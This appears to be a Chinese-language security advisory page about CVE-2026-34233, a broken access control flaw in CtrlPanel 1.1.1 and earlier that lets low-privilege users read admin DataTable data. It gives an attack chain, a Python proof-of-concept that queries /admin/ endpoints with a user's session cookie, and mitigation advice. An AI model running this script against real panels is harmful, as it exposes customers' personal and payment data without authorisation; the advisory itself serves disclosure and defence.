IPBUF安全漏洞报告
English
CVE-2026-34233 CVSS 6.5 中危

CVE-2026-34233 CtrlPanel越权访问漏洞

披露日期: 2026-05-19

漏洞信息

漏洞编号
CVE-2026-34233
漏洞类型
权限绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
CtrlPanel

相关标签

权限绕过越权访问信息泄露CtrlPanelBroken Access Control

漏洞概述

CtrlPanel是一款面向托管提供商的开源计费软件。在1.1.1及更早版本中,多个管理员控制器暴露了未经授权检查的DataTable端点。这允许任何经过身份验证的用户(无论角色如何)访问本应仅限于管理员使用的敏感管理数据。该漏洞源于路由中间件未在这些特定端点上强制执行管理员级别的授权,导致低权限用户可以枚举用户PII、支付记录、优惠券代码及支持票据内容等敏感信息。

技术细节

该漏洞存在于CtrlPanel的后台管理控制器逻辑中。在1.1.1及更早版本中,多个管理控制器定义了用于返回分页数据的datatable()方法,这些端点通过GET请求访问,且位于/admin/路径下。虽然系统设计者预期所有/admin/路径下的资源均受保护,但实际应用于该路由组的中间件存在实现缺陷,未能对这些特定的数据端点强制执行管理员级别的身份验证或角色权限检查。因此,任何经过注册并登录的低权限用户(如普通客户),只要获得合法的会话Cookie,即可直接向这些管理端点发送HTTP GET请求。服务器会误认为请求合法,并返回包含用户个人身份信息(PII)、支付交易记录、优惠券代码、角色权限结构、服务器归属映射及支持工单内容的敏感JSON数据,导致严重的信息泄露。

攻击链分析

STEP 1
信息收集
攻击者识别目标运行的是CtrlPanel软件,并获取注册入口。
STEP 2
获取凭证
攻击者在平台上注册一个普通用户账号,获取有效的低权限会话凭证。
STEP 3
构造请求
攻击者利用获取的Cookie,构造针对/admin/路径下DataTable端点的GET请求。
STEP 4
数据泄露
服务器由于未验证权限,返回包含敏感用户信息、支付记录等的JSON数据,攻击者完成数据窃取。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-34233 PoC: Unauthorized Access to Admin DataTables # Replace TARGET_URL with the actual URL # Requires a valid authenticated session cookie (low-privilege user) TARGET_URL = "http://target-panel.com" SESSION_COOKIE = "ctrlpanel_session=low_priv_user_cookie_token" headers = { "Cookie": SESSION_COOKIE, "User-Agent": "CVE-2026-34233-PoC" } # Example vulnerable endpoints based on the description endpoints = [ "/admin/api/users/datatable", "/admin/api/payments/datatable", "/admin/api/tickets/datatable" ] print(f"[*] Checking {TARGET_URL} for CVE-2026-34233...") for endpoint in endpoints: url = TARGET_URL + endpoint try: response = requests.get(url, headers=headers, timeout=5) if response.status_code == 200: # Check if response looks like JSON data (DataTable response) try: data = response.json() print(f"[+] Potential sensitive data leaked from {endpoint}:") print(f" Data keys: {data.keys()}") except ValueError: print(f"[-] Received non-JSON response from {endpoint}") else: print(f"[-] Endpoint {endpoint} returned status {response.status_code}") except Exception as e: print(f"[!] Error connecting to {endpoint}: {e}")

影响范围

CtrlPanel <= 1.1.1

防御指南

临时缓解措施
建议立即将CtrlPanel升级至1.2.0版本以修复此漏洞。如果无法立即升级,应在Web应用防火墙(WAF)中添加规则,拦截非管理员用户对/admin/路径下DataTable接口的访问请求,或临时关闭低权限用户的访问权限,直到完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表